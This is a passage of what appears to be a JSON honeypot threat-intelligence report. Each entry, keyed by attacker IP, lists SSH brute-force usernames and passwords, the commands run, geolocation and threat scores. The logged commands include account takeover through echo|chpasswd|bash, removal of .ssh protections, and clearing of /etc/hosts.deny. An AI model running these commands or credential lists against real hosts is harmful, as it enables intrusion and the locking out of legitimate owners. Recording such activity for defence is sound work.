      "threat_level": "medium",
      "score_components": {
        "frequency": 25.9,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 393,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T00:20:22.160000+00:00",
        "last_seen_30d": "2026-03-26T07:54:01.742000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 321,
        "Suricata": 72
      }
    },
    "103.49.239.212": {
      "attack_count": 312,
      "first_seen": "2026-03-10T19:24:56.707Z",
      "last_seen": "2026-03-20T20:19:02.461Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "alfredo",
        "astra",
        "root",
        "rramirez",
        "administrador",
        "arjun",
        "azuracast",
        "backend",
        "clawd",
        "dis",
        "esuser",
        "kapsch",
        "netflow",
        "pwserver",
        "super",
        "superadmin",
        "ts3",
        "viper",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "password",
        "1234",
        "12345",
        "1234asdf",
        "Administrador123!",
        "Azuracast123",
        "Kapsch123",
        "Rramirez123",
        "Server2025@",
        "arjun123!",
        "astra123!",
        "backend",
        "dis",
        "esuser123",
        "netflow123!",
        "ts3",
        "webuser1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Rramirez123\\n3ZXvwAOur8WS\\n3ZXvwAOur8WS\\n\"|passwd",
        "echo \"astra123!\\n2r26eRJjxiP8\\n2r26eRJjxiP8\\n\"|passwd",
        "echo \"password\\npyN8GS8EWt8K\\npyN8GS8EWt8K\\n\"|passwd",
        "echo -e \"Rramirez123\\n3ZXvwAOur8WS\\n3ZXvwAOur8WS\"|passwd|bash",
        "echo -e \"astra123!\\n2r26eRJjxiP8\\n2r26eRJjxiP8\"|passwd|bash",
        "echo -e \"password\\npyN8GS8EWt8K\\npyN8GS8EWt8K\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 375,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T19:24:56.707000+00:00",
        "last_seen_30d": "2026-03-20T20:20:04.455000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 63
      }
    },
    "187.85.155.182": {
      "attack_count": 311,
      "first_seen": "2026-03-02T07:09:32.240Z",
      "last_seen": "2026-03-11T17:53:11.058Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "kevin",
        "bell",
        "bitrix",
        "cliente",
        "max",
        "pepe",
        "perforce",
        "sumit",
        "wilson"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "1q2w3e4r5T",
        "a123110",
        "a12323",
        "a1s2d3f4g5h6j7k8",
        "a2435886",
        "aa31b79a",
        "aaa111bb",
        "abc.123",
        "claude123",
        "cliente1234",
        "fifa",
        "perforce123",
        "qwe123qwe",
        "testtest",
        "wilsonpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nqM6rC4l4df5m\\nqM6rC4l4df5m\\n\"|passwd",
        "echo \"claude123\\nDZLAI5CKrvGg\\nDZLAI5CKrvGg\\n\"|passwd",
        "echo \"root:4TpdRvXDbXBx\"|chpasswd|bash",
        "echo -e \"12345678\\nqM6rC4l4df5m\\nqM6rC4l4df5m\"|passwd|bash",
        "echo -e \"claude123\\nDZLAI5CKrvGg\\nDZLAI5CKrvGg\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Turvo",
      "asn": 53062,
      "as_org": "ALT | GRUPO BRASIL TECPAR",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 376,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:09:32.240000+00:00",
        "last_seen_30d": "2026-03-11T17:54:19.940000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 311,
        "Suricata": 65
      }
    },
    "36.50.54.62": {
      "attack_count": 286,
      "first_seen": "2026-03-17T00:36:37.551Z",
      "last_seen": "2026-03-26T18:46:39.045Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "casaos",
        "yy",
        "azureuser",
        "cms",
        "franco",
        "hyun",
        "java",
        "louis",
        "maintainer",
        "scott",
        "song",
        "sonic",
        "tmp",
        "will"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "Aa123456",
        "Root2020",
        "Will",
        "a111222",
        "cms123",
        "hyunpass",
        "java123!",
        "maintainerpassword",
        "password",
        "songpassword",
        "sonic@123456",
        "tmp1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nSkF47UHkqw78\\nSkF47UHkqw78\\n\"|passwd",
        "echo \"password\\nZefr6UhXJ7rh\\nZefr6UhXJ7rh\\n\"|passwd",
        "echo \"root:J143RIVOSVvh\"|chpasswd|bash",
        "echo -e \"12345678\\nSkF47UHkqw78\\nSkF47UHkqw78\"|passwd|bash",
        "echo -e \"password\\nZefr6UhXJ7rh\\nZefr6UhXJ7rh\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151858,
      "as_org": "INTERDIGI JOINT STOCK COMPANY",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 340,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T00:36:37.551000+00:00",
        "last_seen_30d": "2026-03-26T18:47:46.112000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 286,
        "Suricata": 54
      }
    },
    "50.6.228.111": {
      "attack_count": 263,
      "first_seen": "2026-03-18T04:40:26.327Z",
      "last_seen": "2026-03-22T06:45:51.013Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "frappe",
        "ghostadmin",
        "User",
        "amp",
        "brandon",
        "cluster",
        "cody",
        "elena",
        "gerald",
        "joao",
        "kali",
        "kodiak",
        "leo",
        "logviewer",
        "mqm",
        "ntc",
        "old",
        "openvpn",
        "puppet"
      ],
      "passwords_attempted": [
        "1234",
        "123",
        "12345678",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Cody123!",
        "Frappe",
        "Openvpn123!",
        "Sqoop",
        "Vagrant",
        "elena@123",
        "joao123",
        "leopass",
        "old",
        "rdp1234",
        "supermansuperman",
        "wpuser123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nVb5F0mjcKTOB\\nVb5F0mjcKTOB\\n\"|passwd",
        "echo \"Frappe\\nQdDZpo0azcAz\\nQdDZpo0azcAz\\n\"|passwd",
        "echo -e \"1234\\nVb5F0mjcKTOB\\nVb5F0mjcKTOB\"|passwd|bash",
        "echo -e \"Frappe\\nQdDZpo0azcAz\\nQdDZpo0azcAz\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 331,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T04:40:26.327000+00:00",
        "last_seen_30d": "2026-03-22T06:46:52.496000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 68
      }
    },
    "59.148.166.26": {
      "attack_count": 257,
      "first_seen": "2026-03-16T18:47:42.284Z",
      "last_seen": "2026-03-16T19:08:22.106Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "kusanagi",
        "pyramid",
        "username",
        "dheeraj",
        "mc",
        "odoo12",
        "ttt",
        "user123",
        "ys",
        "zhao"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "12345",
        "dheeraj123",
        "kusanagipass",
        "mc@123",
        "odoo121234",
        "password",
        "pyramid123",
        "ys1234",
        "zhao1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1\\nogQ0EDOPvo9a\\nogQ0EDOPvo9a\\n\"|passwd",
        "echo \"kusanagipass\\n71urgDo2Wxif\\n71urgDo2Wxif\\n\"|passwd",
        "echo \"pyramid123\\nFSrj3tzpu4D0\\nFSrj3tzpu4D0\\n\"|passwd",
        "echo -e \"1\\nogQ0EDOPvo9a\\nogQ0EDOPvo9a\"|passwd|bash",
        "echo -e \"kusanagipass\\n71urgDo2Wxif\\n71urgDo2Wxif\"|passwd|bash",
        "echo -e \"pyramid123\\nFSrj3tzpu4D0\\nFSrj3tzpu4D0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 10103,
      "as_org": "HK Broadband Network Ltd.",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T18:47:42.284000+00:00",
        "last_seen_30d": "2026-03-16T19:09:23.559000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 36
      }
    },
    "95.182.116.42": {
      "attack_count": 253,
      "first_seen": "2026-03-19T19:16:24.427Z",
      "last_seen": "2026-03-19T20:36:16.628Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "max",
        "postgres",
        "eder",
        "john",
        "m1",
        "qwerty",
        "root",
        "testuser"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "1",
        "Aa@1234567",
        "Eder123",
        "M1123",
        "john",
        "password",
        "postgres123",
        "testpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1\\nE50OhF8qKiTD\\nE50OhF8qKiTD\\n\"|passwd",
        "echo \"postgres123\\n5vOLiGotl9iX\\n5vOLiGotl9iX\\n\"|passwd",
        "echo \"testpass\\nRyPvgYPhLZTq\\nRyPvgYPhLZTq\\n\"|passwd",
        "echo -e \"1\\nE50OhF8qKiTD\\nE50OhF8qKiTD\"|passwd|bash",
        "echo -e \"postgres123\\n5vOLiGotl9iX\\n5vOLiGotl9iX\"|passwd|bash",
        "echo -e \"testpass\\nRyPvgYPhLZTq\\nRyPvgYPhLZTq\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T19:16:24.427000+00:00",
        "last_seen_30d": "2026-03-19T20:37:24.469000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 253,
        "Suricata": 42
      }
    },
    "220.118.173.234": {
      "attack_count": 237,
      "first_seen": "2026-03-02T11:22:23.855Z",
      "last_seen": "2026-03-09T09:18:17.037Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ethan",
        "a",
        "harry",
        "mob",
        "nikita",
        "nominatim",
        "student5",
        "temp"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "101010",
        "123123",
        "1234",
        "1Qaz@wsx",
        "AAaa123456",
        "Admin@123.",
        "Ll123456789",
        "Mob123!",
        "Temp123",
        "a159753",
        "aaa258",
        "centos123",
        "m",
        "nominatim1234",
        "pf123456",
        "qqqq1111",
        "root"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\n7SJj6wZ7hJo2\\n7SJj6wZ7hJo2\\n\"|passwd",
        "echo \"root:HgO0GBaWd4jN\"|chpasswd|bash",
        "echo -e \"12345678\\n7SJj6wZ7hJo2\\n7SJj6wZ7hJo2\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangseo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:22:23.855000+00:00",
        "last_seen_30d": "2026-03-09T09:19:18.801000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 237,
        "Suricata": 57
      }
    },
    "154.83.13.181": {
      "attack_count": 236,
      "first_seen": "2026-03-27T16:48:21.428Z",
      "last_seen": "2026-03-27T18:36:26.545Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111qqq,,,",
        "123123!@#",
        "123456789aaa",
        "123admin123",
        "1qaz@Wsx#Edc",
        "2600",
        "@Admin2024",
        "Lion@123",
        "Tc123456",
        "Xy123456.",
        "anathema",
        "danielle",
        "hui",
        "qweasd11",
        "rootpassword123456",
        "smartvm",
        "sujan",
        "ubuntu12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:73ezEdugeNTF\"|chpasswd|bash",
        "echo \"root:N7bgpMYmCmlc\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T16:48:21.428000+00:00",
        "last_seen_30d": "2026-03-27T18:37:36.558000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 68
      }
    },
    "5.196.23.142": {
      "attack_count": 186,
      "first_seen": "2026-03-02T04:17:21.605Z",
      "last_seen": "2026-03-02T04:36:36.696Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1!deshine",
        "1234Qwer!",
        "1q@W3e$R5t",
        "a19861116",
        "aa721521",
        "aa82235940",
        "aaa5201314",
        "asd1234567@",
        "centos6svm",
        "swallow520"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:PPJajdqmpwUb\"|chpasswd|bash",
        "echo \"root:wOZV5usgejyn\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:17:21.605000+00:00",
        "last_seen_30d": "2026-03-02T04:37:40.900000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 32
      }
    },
    "178.173.253.99": {
      "attack_count": 123,
      "first_seen": "2026-03-31T07:27:17.838Z",
      "last_seen": "2026-03-31T08:01:05.889Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "$#@!ergean*(",
        "2019.com.cn",
        "3245gs5662d34",
        "345gs5662d34",
        "Azureuser123",
        "Izhenqi(!@#)2024",
        "Qq111111",
        "edong123",
        "hbol",
        "huanmu147258",
        "qwe123QWE",
        "soft.v01.cn",
        "vr123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:GxIumfjwiAYC\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 42532,
      "as_org": "SIA VEESP",
      "threat_score": 34.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T07:27:17.838000+00:00",
        "last_seen_30d": "2026-03-31T08:02:09.715000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 32
      }
    },
    "212.11.64.154": {
      "attack_count": 123,
      "first_seen": "2026-03-04T20:55:09.184Z",
      "last_seen": "2026-03-04T21:22:21.157Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "root2",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123123Qwe",
        "123ABCabc",
        "3245gs5662d34",
        "345gs5662d34",
        "ABCD1234",
        "Aa123456",
        "Bingo@1993",
        "Qaz123456789",
        "nsfocus",
        "q1w2e3r4!",
        "qwerty77",
        "root",
        "root2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Hy38Yi3D4AkN\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
